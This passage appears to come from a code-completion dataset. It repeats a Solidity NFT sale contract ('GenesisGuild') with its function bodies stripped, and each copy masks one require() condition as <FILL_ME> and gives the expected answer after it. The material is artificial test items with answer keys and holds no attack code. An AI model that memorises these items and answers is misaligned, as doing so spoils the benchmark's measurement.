) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
_tokenIdCounter.current()<sellout[_editionCounter.current()],"Sold out"
193,185
_tokenIdCounter.current()<sellout[_editionCounter.current()]
"Not sold out"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { require(<FILL_ME>) _; } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
_tokenIdCounter.current()>=sellout[_editionCounter.current()],"Not sold out"
193,185
_tokenIdCounter.current()>=sellout[_editionCounter.current()]
"No edition"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { require(<FILL_ME>) prices[_editionCounter.current()] = _newCost; } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
(_edition-1)<prices.length,"No edition"
193,185
(_edition-1)<prices.length
"No editions"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { require(<FILL_ME>) _editionCounter.increment(); } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
_editionCounter.current()<(editions.length-1),"No editions"
193,185
_editionCounter.current()<(editions.length-1)
"No editions"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { require(<FILL_ME>) _editionCounter.reset(); if (_index > 1) { for(uint256 i = 1; i < _index; i++) { _editionCounter.increment(); } } } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
(_index-1)<editions.length,"No editions"
193,185
(_index-1)<editions.length
"Exceed max of nfts"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { require(numberOfTokens <= maxPurchase, "Exceed max nfts at a time"); require(<FILL_ME>) require(msg.value >= (currentPrice() * numberOfTokens), "Value too low"); _checkWhitelist(); for(uint i = 0; i < numberOfTokens; i++) { _tokenIdCounter.increment(); uint256 tokenId = _tokenIdCounter.current(); // NFT index starts at 1 _safeMint(_msgSender(), tokenId); } } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
_canSell(numberOfTokens),"Exceed max of nfts"
193,185
_canSell(numberOfTokens)
"Value too low"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { require(numberOfTokens <= maxPurchase, "Exceed max nfts at a time"); require(_canSell(numberOfTokens), "Exceed max of nfts"); require(<FILL_ME>) _checkWhitelist(); for(uint i = 0; i < numberOfTokens; i++) { _tokenIdCounter.increment(); uint256 tokenId = _tokenIdCounter.current(); // NFT index starts at 1 _safeMint(_msgSender(), tokenId); } } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
msg.value>=(currentPrice()*numberOfTokens),"Value too low"
193,185
msg.value>=(currentPrice()*numberOfTokens)
"Not sold out"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 